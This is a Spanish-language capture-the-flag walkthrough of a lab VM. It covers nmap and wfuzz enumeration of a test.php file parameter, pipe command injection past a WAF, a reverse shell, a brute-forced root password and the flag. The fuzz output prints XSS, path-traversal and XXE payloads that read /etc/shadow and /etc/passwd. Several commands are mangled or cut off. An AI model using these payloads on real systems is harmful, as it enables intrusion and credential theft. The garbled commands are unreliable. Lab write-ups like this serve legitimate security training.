Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 11:51 EDT
Nmap scan report for 192.168.5.187
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.27
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:55:1B:04 (VMware)
Service Info: Host: 127.0.1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
Nos descubre un .php interesante, si nos metemos dentro del el...
URL = http://<IP>/test.php
Veremos una web poco rellena, pero si le damos al boton llamado Read last visitor data vemos que la URL cambia a un parametro el cual esta leyendo a last.html quedando de la siguiente manera...
URL = http://<IP>/test.php?file=last.html
Y vemos que el contenido se visualiza en la cabezera de la pagina, por lo que intentaremos hacer un LFI (Local File Inclusion)...
Vamos hacer fuerza bruta...
wfuzz
En mi caso cuando tiro el siguiente comando para ver si es vulnerable o no, me parecen muchas coincidencias, por lo que filtraremos por los numeros que se repiten mas, que seria en el parametro de Lineas, por lo que nos lo guardaremos en un archivo...
Y ahora con grep grepeamos los numeros que no sean 40 y 11 que son los que mas se repiten...
grep-vE'\b(11|40)\b'wfuzz_output.txt
Info:
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.5.187/test.php?file=FUZZ
Total requests: 468
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000045: 200 41 L 162 W 2040 Ch "|id"
000000046: 200 41 L 163 W 2033 Ch "|dir"
%5c..% 25%5c..%25%5c..%255cboot.ini"
5%5c..%25%5c..%25%5c..winnt/desktop.ini"
%5c..%25%5c..%25%5c..%00"
%5c..% 25%5c..%25%5c..%00"
5%5c..%25%5c..%25%5c..%00"
ipt>"
#0000116:alert('X�
000083S')>"
x28'XSS')>"
kie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E"
ring.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>
alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}"
xss>XSS</xss:xss></HTML>"
STEM "file:////dev/random">]><foo>&xxe;</foo>"
STEM "file:////etc/shadow">]><foo>&xxe;</foo>"
STEM "file:////etc/passwd">]><foo>&xxe;</foo>"
STEM "file://c:/boot.ini">]><foo>&xxe;</foo>"
TASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C
DATAFORMATAS=HTML></SPAN>"
);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>"
Total time: 0
Processed Requests: 468
Filtered Requests: 0
Requests/sec.: 0
Con esto vemos que con los comandos | id y | dir podemos ejecutar comandos para ver el id o listar, por lo que sabemos que si es inyectable utilizando pipes...
Por lo que veremos que ciertamente es vulnerable...
Si hacemos lo siguiente...
wafw00fhttp://<IP>
Info:
/usr/local/lib/python3.11/dist-packages/requests-2.20.0-py3.11.egg/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
______
/ \
( W00f! )
\ ____/
,, __ 404 Hack Not Found
|`-.__ / / __ __
/" _/ /_/ \ \ / /
*===* / \ \_/ / 405 Not Allowed
/ )__// \ /
/| / /---` 403 Forbidden
\\/` \ | / _ \
`\ /_\\_ 502 Bad Gateway / / \ \ 500 Internal Error
`_____``-` /_/ \_\
~ WAFW00F : v2.2.0 ~
The Web Application Firewall Fingerprinting Toolkit
[*] Checking http://192.168.5.187
[+] Generic Detection results:
[*] The site http://192.168.5.187 seems to be behind a WAF or some sort of security solution
[~] Reason: The response was different when the request wasn't made from a browser.
Normal response code is "200", while the response code to a modified request is "403"
[~] Number of requests: 4
Vemos que tiene un FireWall protegiendo por detras estas inyecciones de codigos, por lo que haremos lo siguiente...
Y ejecutamos eso estando a la escucha tendremos una shell con el usuario www-databypasseando las medidas de seguridad...
Sanitizamos la shell...
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Si nos vamos a la /home de l usuario bob veremos un archivo llamado ._pw_ que si lo leemos dice lo siguiente...
Con esto hara fuerza bruta hasta sacar la contraseña, despues de un rato aparecio la contraseña...
SECRET FOUND: mlnVl
Y con esta contraseña si hacemos...
suroot
Sera la contraseña de root, por lo que leeremos la flag...
flag.txt (flag_final)
__ __ _ _ _ __
| \/ (_) | | | | /_ |
| \ / |_ _ __ | | | |_ _| |
| |\/| | | '_ \| | | \ \ / / |
| | | | | | | | |__| |\ V /| |
|_| |_|_|_| |_|\____/ \_/ |_|
# You got r00t!
flag{c89031ac1b40954bb9a0589adcb6d174}
# You probably know this by now but the webserver on this challenge is
# protected by mod_security and the owasp crs 3.0 project on paranoia level 3.
# The webpage is so poorly coded that even this configuration can be bypassed
# by using the bash wildcard ? that allows mod_security to let the command through.
# At least that is how the challenge was designed ;)
# Let me know if you got here using another method!
# contact@8bitsec.io
# @_8bitsec